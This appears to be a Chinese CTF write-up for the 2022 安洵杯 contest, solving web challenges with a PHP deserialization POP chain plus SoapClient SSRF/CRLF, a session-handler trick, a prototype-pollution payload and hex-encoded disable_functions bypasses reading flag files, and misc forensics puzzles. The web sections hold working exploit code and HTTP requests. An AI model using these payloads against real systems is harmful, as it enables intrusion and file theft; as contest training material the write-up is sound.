2022-安洵杯

WEB

babyphp

call_user_func() 函数如果传入的参数是array类型的话,会将数组的成员当作类名和方法,

array(0) { } <?php
//something in flag.php

class A
{
    public $a;
    public $b;

    public function __wakeup()
    {
        $this->a = "babyhacker";
    }

    public function __invoke()
    {
        if (isset($this->a) && $this->a == md5($this->a)) {
            $this->b->uwant();
        }
    }
}

class B
{
    public $a;
    public $b;
    public $k;

    function __destruct()
    {
        $this->b = $this->k;
        die($this->a);
    }
}

class C
{
    public $a;
    public $c;

    public function __toString()
    {
        $cc = $this->c;
        return $cc();
    }
    public function uwant()
    {
        if ($this->a == "phpinfo") {
            phpinfo();
        } else {
            call_user_func(array(reset($_SESSION), $this->a));
        }
    }
}


if (isset($_GET['d0g3'])) {
    ini_set($_GET['baby'], $_GET['d0g3']);
    session_start();
    $_SESSION['sess'] = $_POST['sess'];
}
else{
    session_start();
    if (isset($_POST["pop"])) {
        unserialize($_POST["pop"]);
    }
}
var_dump($_SESSION);
highlight_file(__FILE__);

flag.php

<?php
session_start();
highlight_file(__FILE__);
//flag在根目录下
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
    $f1ag=implode(array(new $_GET['a']($_GET['b'])));
    $_SESSION["F1AG"]= $f1ag;
}else{
   echo "only localhost!!";
}
only localhost!!

pop链
B:_destruct()通过die函数,触发C:_toString(),return $cc(); 这里触发A:_invoke函数,最后C:uwant()
B::__destruct()->C::__toString()->A::__invoke()->C::uwant()

构造exp

<?php

class A
{
    public $a = '0e215962017';
    public $b;

    public function _invoke()
    {
        if (isset($this->a) && $this->a == md5($this->a)) {
           $this->b->uwant();
        }
    }
}

class B
{
    public $a;
    public $b;
    public $k;

    function __destruct()
    {
        $this->b = $this->k;
        die($this->a);
    }
}
class C
{
    public $a;
    public $c;

    public function __toString()
    {
        $cc = $this->c;
        return$cc();
    }

    public function uwant()
    {
        if ($this->a == "phpinfo") {
            phpinfo();
        }else{
            call_user_func(array(reset($_SESSION), $this->a));
        }
    }
}

session_start();
$_SESSION['sess'] = 'SoapClient';

$first = new B();
$first->a = new C();
$first->a->c = new A();
$first->a->c->b = new C();
$first->a->c->b->a = '123';
print((serialize($first)));

得到

O:1:"B":3:{s:1:"a";O:1:"C":2:{s:1:"a";N;s:1:"c";O:1:"A":2:{s:1:"a";s:11:"0e215962017";s:1:"b";O:1:"C":2:{s:1:"a";s:3:"123";s:1:"c";N;}}}s:1:"b";N;s:1:"k";N;}

序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行

O:1:"B":3:{s:1:"a";O:1:"C":2:{s:1:"a";N;s:1:"c";O:1:"A":3:{s:1:"a";s:11:"0e215962017";s:1:"b";O:1:"C":2:{s:1:"a";s:5:"11111";s:1:"c";N;}}}s:1:"b";N;s:1:"k";N;}

php在安装php-soap拓展后,可以反序列化原生类SoapClient,来发送http post请求。必须调用SoapClient不存在的方法,触发SoapClient的__call魔术方法。通过CRLF来添加请求体:SoapClient可以指定请求的user-agent头,通过添加换行符的形式来加入其他请求内容。session反序列,利用SoapClient触发反序列化导致SSRF。

session反序列化->soap(ssrf+crlf)->call_user_func激活soap类。
构造原生类链

<?php
$a = new SoapClient(null,
    array(
        'user_agent' => "aaa\r\nCookie:PHPSESSID=flag123",  
        'uri' => 'bbb',
        // 'location' => 'http://127.0.0.1/flag.php?a=GlobIterator&b=/*f*' //首先用GlobIterator找flag的名字
        'location' => 'http://127.0.0.1/flag.php?a=SplFileObject&b=file:///f1111llllllaagg'
         
    )
);
$b = serialize($a);
echo urlencode($b);
?>

运行得到

O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A3%3A%22bbb%22%3Bs%3A8%3A%22location%22%3Bs%3A66%3A%22http%3A%2F%2F127.0.0.1flag.php%3Fa%3DSplFileObject%26b%3Dfile%3A%2F%2F%2Ff1111llllllaagg%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A29%3A%22aaa%0D%0ACookie%3APHPSESSID%3Dflag123%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

首先,第一次上传构造好的反序列化的session,设置ini_set中session的存储方式为php_serialize,这个时候构造的链子会通过序列化的链子存储,

POST /?baby=session.serialize_handler&d0g3=php_serialize HTTP/1.1
Host: 47.108.29.107:10356
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=flag123
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 401

sess=|O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A3%3A%22bbb%22%3Bs%3A8%3A%22location%22%3Bs%3A67%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%3Fa%3DSplFileObject%26b%3Dfile%3A%2F%2F%2Ff1111llllllaagg%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A48%3A%22aaa%0D%0ACookie%3APHPSESSID%3Du6ljl69tjrbutbq4i0oeb0m332%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

第二次,需要将sess设置为SoapClient这个类,方便第三次利用反序列化pop链中call_user_func激活soap类

POST /?baby&d0g3 HTTP/1.1
Host: 47.108.29.107:10356
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=flag123
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

sess=SoapClient

第三次,直接用call
_user_func激活soap类,通过flag.php将flag写入session

POST / HTTP/1.1
Host: 47.108.29.107:10356
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=flag123
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 163

pop=O:1:"B":3:{s:1:"a";O:1:"C":2:{s:1:"a";N;s:1:"c";O:1:"A":3:{s:1:"a";s:11:"0e215962017";s:1:"b";O:1:"C":2:{s:1:"a";s:5:"11111";s:1:"c";N;}}}s:1:"b";N;s:1:"k";N;}

最后

GET / HTTP/1.1
Host: 47.108.29.107:10356
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=flag123
Connection: close

得到flag

ez_js

查看源代码

<!--This secret is 7 characters long for security!
hash=md5(secret+"flag");//1946714cfa9deb70cc40bab32872f98a
admin cookie is   md5(secret+urldecode("flag%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00X%00%00%00%00%00%00%00dog"));
-->

secret是七位,secret+flag的md5值是1946714cfa9deb70cc40bab32872f98a
然后咱们求admin的cookie
AndyNoel师傅的脚本

from hashlib import sha256,md5
x = '1946714cfa9deb70cc40bab32872f98a'
n = b'flag'
s = list('abcdefghijklmnopqrstuvwxyz'.strip())
import itertools
for i in itertools.product(s,repeat = 7):
    d = ''.join(i).encode()
    g = d+n
    m=md5(g).hexdigest()

    if m == x:
        print(d)
        break

在这里插入图片描述
得到secret :abcdefg
呢么cookie就是ed63246fb602056fee4a7ec886d0a3c2
登录之后 查看源代码发现 jsfuck加密
得到
在这里插入图片描述

var express = require('express');
var router = express.Router();

const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {
  for (var attr in b) {
    if (isObject(a[attr]) && isObject(b[attr])) {
      merge(a[attr], b[attr]);
    } else {
      a[attr] = b[attr];
    }
  }
  return a
}
const clone = (a) => {
  return merge({}, a);
}

router.get('/', function(req, res, next) { 
  if(req.flag=="flag"){
    //输出flag;
    res.send('flag?????????????');
    }
    res.render('info');
});

router.post('/', express.json(),function(req, res) {
  var str = req.body.id;
  var obj = JSON.parse(str);
  req.cookies.id=clone(obj);
  res.render('info');
});

module.exports = router;

merge原型链污染
id={“aaa”:1,“proto”:{“flag”:“flag”}} 去打
在这里插入图片描述

ezupload

查看phpinfo 能够上传php文件,可以执行phpinfo
在这里插入图片描述
看到禁用了很多函数,就是想方设法绕过 进行命令执行
我看到AndyNoel师傅可以用16进制,8进制,Unicode编码都可以
选择一个十六进制

"\x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73"
file_get_contents

通过内置类DirectoryIterator(该类会创建一个指定目录的迭代器,当执行echo方法时,会触发DirectoryIterator类里的toString()方法,输出指定目录里面经过排序之后的第一个文件名)

<?php new DirectoryIterator(" glob:///fl*" );?>

将这个转为十六进制

<?php new DirectoryIterator("\x67\x6c\x6f\x62\x3a\x2f\x2f\x2f\x2a\x66\x2a"); ?>

最后

<?php ​file_get_contents("/fl1111111111ag") ?>

转为十六进制

<? php "\x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73" ("/fl1111111111ag") ?>

MISC

little_thief

前面思路很清晰,简单概述一下 得到一个流量包,分析TCP数据流,发现了一串base64的编码,也有点向jwt,base64解码 看到一个密钥
得到 s1r_Th1s_k3y
然后这个是可以打开通过流量包提取出的一个html文件
这个html纯属废话文学,然后 当时尝试了很多加密解密,什么snow ,废话文学加密解密 乱七八糟
答案是wbStego4加密解密 (隐写)
出的脑洞题,这不纯挨骂吗 。。。
在这里插入图片描述
在这里插入图片描述
得到flag

RedCoast

题目附件是一堆0和1
转化为字节流看一看

from Crypto.Util.number import *
with open('Signal', 'r') as f:
    con = f.read()
print(long_to_bytes(int(con,2)))

在这里插入图片描述
发现有zip特征
以二进制识别为十进制,再转换为bytes,保存为zip文件

from Crypto.Util.number import *
with open('Signal', 'r') as f:
    con = f.read()
with open('signal.zip', 'wb') as f2:
    f2.write(long_to_bytes(int(con,2)))

在这里插入图片描述
得到一堆黑白图片
将625图片换成25x25的图片,得到二维码:

from PIL import Image
import os

IMAGES_PATH = 'signal//'
IMAGES_FORMAT = ['.png','.PNG']
IMAGE_WIDTH = 100
IMAGE_HEIGHT = 100
IMAGE_ROW = 25
IMAGE_COLUMN = 25
IMAGE_SAVE_PATH = 'final.jpg'

newimg = Image.new('RGB',(IMAGE_COLUMN * IMAGE_HEIGHT, IMAGE_ROW * IMAGE_WIDTH))
for y in range(25):
    for x in range(25):
        timg = Image.open(IMAGES_PATH + str(y*IMAGE_COLUMN + x) + '.png')
        newimg.paste(timg, (x*IMAGE_WIDTH, y*IMAGE_HEIGHT))
newimg.save('new.png')

扫描得到 key: 187J3X1&DX3906@!

解压压缩包 得到十六进制的文本
十六进制转换字符串再转图片
在这里插入图片描述

def BaseToPng():
with open('png.txt', 'rb') as f:
base64png = f.read().decode()
base64data = binascii.unhexlify(base64png)
imgdata = base64.b64decode(base64data)
with open('flag.png', 'wb') as ff:
ff.write(imgdata)

将图片放到Stegosolve 勾选全通道
在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值